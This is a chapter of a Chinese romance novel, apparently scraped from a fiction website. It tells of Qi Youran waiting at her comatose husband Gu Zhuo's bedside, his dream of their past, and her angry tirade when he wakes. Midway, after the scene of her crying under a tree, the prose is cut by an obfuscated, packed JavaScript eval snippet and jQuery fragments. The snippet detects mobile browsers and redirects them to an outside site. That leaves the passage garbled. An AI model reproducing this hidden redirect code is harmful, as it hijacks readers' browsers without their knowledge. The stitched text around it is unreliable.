雪下个不停。


    侯府来了很多人。


    皇帝亲自驾临，叹气说已经下旨举国寻找血参。


    宋妙仪也来了，指尖冻得微红，握住祁悠然的手。她低声说，这事她瞒着，没敢让宋观和杜茯苓知道。声音顿了顿，才又道，自己已经去了外祖家，在镇国公府待了许久，老人沉默半晌，此事算是作罢。


    话说得简单，祁悠然却知道，中间恐怕有诸多不易。


    她没有言语，只是伸出手，轻轻抱了抱眼前的少女。底下是青春的、坚韧的骨肉，正在悄无声息地拔节。她能感到少年人心脏的跳动，沉稳而有力，像一面小小的、催促着光阴的鼓。


    这是一种年轻的、不管不顾的生长。


    年轻的躯体总是承载着美好的期许，就如那时她毫不犹豫地选择救下她。


    .


    新年来临之际，祁悠然为顾濯带来了一枝梅花。


    窗子关得严严的，她挨着床沿坐下，将那枝梅花凑近他。


    床榻上的人静静躺着，面容如宣纸浸过清水。


    花瓣差点戳到他的鼻子。


    她轻轻笑了笑：“你闻闻，今年的梅花开得正好。”


    他自然是没有回应的。


    她举着梅枝的手，连同她的嘴角，在空中凝了片刻，终是倦倦地垂了下来。梅枝便软软地搭在了锦被上。


    一点灼灼的红。


    这颜色，让她想起翻找出来的那方帕子。是之前她送给他的，在香囊之后。染了片片暗沉的血迹，洇开了，干涸了，成了洗不掉的赭褐色。怪不得他一直藏着，不敢给她看。


    半晌，祁悠然还是拾起那枝梅，将它安顿在床边矮几上的那只瓷瓶里。


    她又回到榻边，低头看他。


    “怎么你躺在这里，吃苦的反倒是我啊？”


    你现在困在什么地方呢？那个地方，有没有自己？


    “早点醒过来罢，”她在心里无声地祈求，“不然……”


    不然什么呢？她忽然感到一种无端的恐慌。长久的别离与等待，会耗尽所有激烈的东西，无论是爱，还是怨。


    她怕遗憾之后，他们之间会变成一段不得已的寻常。


    .


    梅花上的雪化作水无声落下。


    顾濯做了一个梦。


    梅花泛着冷香的一个冬日，他帮一个瘦伶伶的小姑娘夺回了被诓去的玉佩，看她可怜，又塞了支参，递了把伞。他回去说与父母听，语气里还带着点得意。


    父亲沉默着，那只惯握缰绳的手按在他肩上，分量陡然沉了：“她一个女孩，拿着那般珍贵的东西，是福是祸，你可曾想过？”


    他不说话了。善意的释放不过一瞬，而后要顾及的事情，原来有如此多。


    这件事成了一根扎在他心底的刺。


    后来辗转打听，得知随行的货郎是厚道人，带着女孩安然离了京，他悬着的那口气，才算悠悠落回实处。


    庆幸过后，却是后怕。


    他懵懂地想：好意给得不是时候，反倒成了一笔债。善意太满，对方接不住，便会压垮人。


    这念头初初萌生，思绪仍然混沌，但他来不及细想，也来不及请教父母。


    那时，家与国的概念，是父亲肩头的重量，是母亲沉默的身影，厚重得如同府门前那对石狮子。


    出征那日，父亲的手又一次按在他肩上，沉甸甸的，母亲站在父亲身侧，日影晃漾，看不清她的眉目，只一个淡淡的轮廓。


    噩耗传来时，是一个平常的冬夜。他正与管家许伯商议，循着侯府旧例，减免佃户的地租，好让他们熬过寒冬。


    灵堂上，白烛烧得噼啪作响。他记得自己跪在灵前，一滴泪也没有。


    随即是一场昏天暗地的高烧。意识沉浮之际，偌大的侯府乱了。


    他挣扎着从病榻起来，在宋观杜茯苓的帮助下，肃清侯府。


    他开始学着用一双旁观者的眼睛，冷浸浸地看。看叔父们如何觊觎爵位，看旧部门生如何另寻依靠，看昔日热络的亲朋如何悄然远引……也看着御座上的那位，如何一面体恤安抚，一面不着痕迹地将兵权一点点收拢回去。


    他处置的第一个人，是父亲从前的副将。手段干净利落，不见半分旧情。哪怕那人曾亲手将他抱上马背，塞给他新鲜的麦芽糖。


    事毕回来，他用皂角反复洗手，一遍，两遍，总觉得热水暖不透指尖的凉。


    他抬眼望向镜中，那张脸已脱了稚气，显出青年的轮廓。可眼睛里的光，却彻底换了。少年时那捧亮烈烈的火，不知何时，已悄无声息地，熄灭了。


    外头天光渐明，又是新的一日。他整了整衣袍，脸上没什么表情。


    侯府彻彻底底换了一批人，唯有石狮子依旧。


    后来，那个女孩重新闯进了他的生活。


    许是残存着年少的几分愧疚，他学着施放自己早已变得吝啬的善意。


    不在学堂明着为她出头，反而引了姚夫子的注意，让他主动照拂；在她受欺负时，也只默然替她扫清麻烦。


    渐渐地，那点愧疚变了质，他停留在她身上的目光，沉了，久了。


    直至她成了他的妻，他又开始默不作声地，为她铺就前路。


    其实他在那段时间里很矛盾，对她是有怨怼的，因而也实实在在地冷落过她。


    可每每见她为侯府上下琐事奔波劳碌，他心里不是滋味。但是他赶不走她。


    有一回，他终是没忍住，话到了嘴边：“如果，我没有你想的那么……”


    那么好？那么善良？


    他不知该怎么形容。


    他总觉着，她眷恋的，是曾经少年时的残影。她也不该因为年少的虚幻，耽误自己。


    她那天跑了几个庄子，回来又对账至深夜，已是倦极，闻言只当自己在梦里，迷迷糊糊地应道：“你什么样，我都喜欢呀。”


    他的心蓦地软了。


    可转念想到她在婚宴的那些事，一声不吭地打乱了他全盘谋划。好像不该这么轻易原谅她。


    外头铺子的几个管事，不知从哪儿嗅到他不甚看重她的风声，竟敢刻意刁难。他正好借题发挥，用她的名义，将那些人打了板子，罚了月银。至少，府里再没人敢轻看她欺负她了。


    他稍微放心了些，可他还是很纠结。


    心事还乱着，人却先动了。等回过神来，侯府产业的过户文书已静静躺在案头，墨迹未干。办得这样快，倒比他预想的还要急迫几分。


    但他远没有自己想象中那么无私。产业过户很快，和她相处的日子却很慢。


    每逢寒毒发作，身体与心神的双重痛楚便需要一个出口。他不自觉地将那些旧账翻出，他会控制不住地对她发脾气。他需要为自己的痛苦找一个外在的“替罪羊”。


    想着她嫁入侯府另有所图，想着她心思并不纯粹。仿佛这般想着，作出的冷脸便能更理直气壮些。


    她如果真是这样就好了……


    那天，他看到她躲在树下偷哭，被他撞见时慌忙用袖子抹脸，却越抹泪越多。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516606|175983||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>他意识到自己的做法并不对。而且是错得离谱。


    一直以来，他不过是在自私地，自欺欺人。不止口中言语违心，连那颗心，也在一并欺骗自己。


    是宣泄，是诋毁，更是情感上的勒索。


    是欲加之罪，何患无辞。


    他觉得自己像一个拙劣的园丁，明明想呵护那株心爱的花，却只会把她移到背阴处，奉上金贵的养料，然后任其自生自灭，以为这便是为她遮了风雨。他忘了，没有光和热，花本身，也是会寂寂死去的。


    日子久了，在刻意维持的冷淡里，他倒真忘了该如何同她亲近了。


    .


    顾濯是在一阵爆竹声里醒来的。


    眼睫颤了颤，喧嚣与光线都是朦胧的。最先看清的，是榻边坐着的一双红红的眼睛。


    祁悠然就那样瞧着他，不声不响。


    他也不开口，目光在她脸上细细地走，像是要确认这不是又一个浮光掠影的梦。


    良久，他唇角似乎极轻微地弯了一下。那是一个极淡、极虚弱，几乎不算是笑的笑影。


    “你瘦了。”他声音有些哑。


    “是啊。”祁悠然忽然笑了，嘴角弯弯的，像新月，“我还等着吃你的席呢，谁知你命这样硬。”


    语气是平的。


    “……”顾濯眼皮一跳。


    “原来是你背着我，做了这么多啊。原来你不是债主，是以德报怨、施恩不望报的活菩萨。感业寺里那尊大佛应该挪走，换你上去坐着才好。”


    “顾濯，你可真是……伟大啊。先前我说你是田螺姑娘，倒是误打误撞说对了，做好事不留名。”


    她的话又急又密，几乎不给他，也不给自己，留一丝喘息的间隙。


    “你……”顾濯试图开口，却被她下一句话堵了回去。


    “自己先把自己感动坏了吧？觉得为我牺牲良多，便理所当然站上了高地，可以心安理得地对我甩脸子。反正横竖都是‘为我好’。”


    这时她放缓了语气，声调软绵绵地拖着，讽刺意味倒更浓了。


    “你是不是偶尔还会感怀，‘她一点都不了解我的苦心。我虽然对她不好，但我心里也难受啊。’”


    “我走了，你是不是还觉得自己很委屈。看，我这般为你筹谋，这女人竟不识好歹，一走了之。”


    她把话音揉得又软又长，像能扯出亮晶晶的糖丝。言语却刻薄，像蜜糖里冷不丁扯出齐全的一套刀枪箭斧。琳琅璀璨的，尽是伤人的家伙。甜津津地往人心上扎。


    “我嫁给你是想过日子，不是来参禅的！”


    “我……”顾濯懵了。


    “你不准说话，让我把话说完。”祁悠然瞪他。


    她往前倾了倾身子：“那年我在宫里晕倒，你是不是守了我一夜，是不是也气得肝疼？结果看我醒了，只憋出那句‘感动自己，恶心旁人’？”


    “……”顾濯唇色泛白，沉默着。完了，她果然还记得。


    他含糊地“唔”了一声，不作声了。


    祁悠然却不放过他。


    “我现在倒是懂了你那个时候的心情了，因为我此刻，也是一肚子火。”


    “你默不作声，你自以为是！顾濯，你可真是个情圣！”


    窗外，迎新岁的鞭炮依然噼里啪啦炸得热闹，祁悠然的话语也如同鞭炮，一句接一句，不留情面地在他耳边炸开。


    顾濯醒来的第一日，没有预料中的软语温存，没有劫后余生的庆幸，迎接他的，反倒是祁悠然劈头盖脸的一顿骂。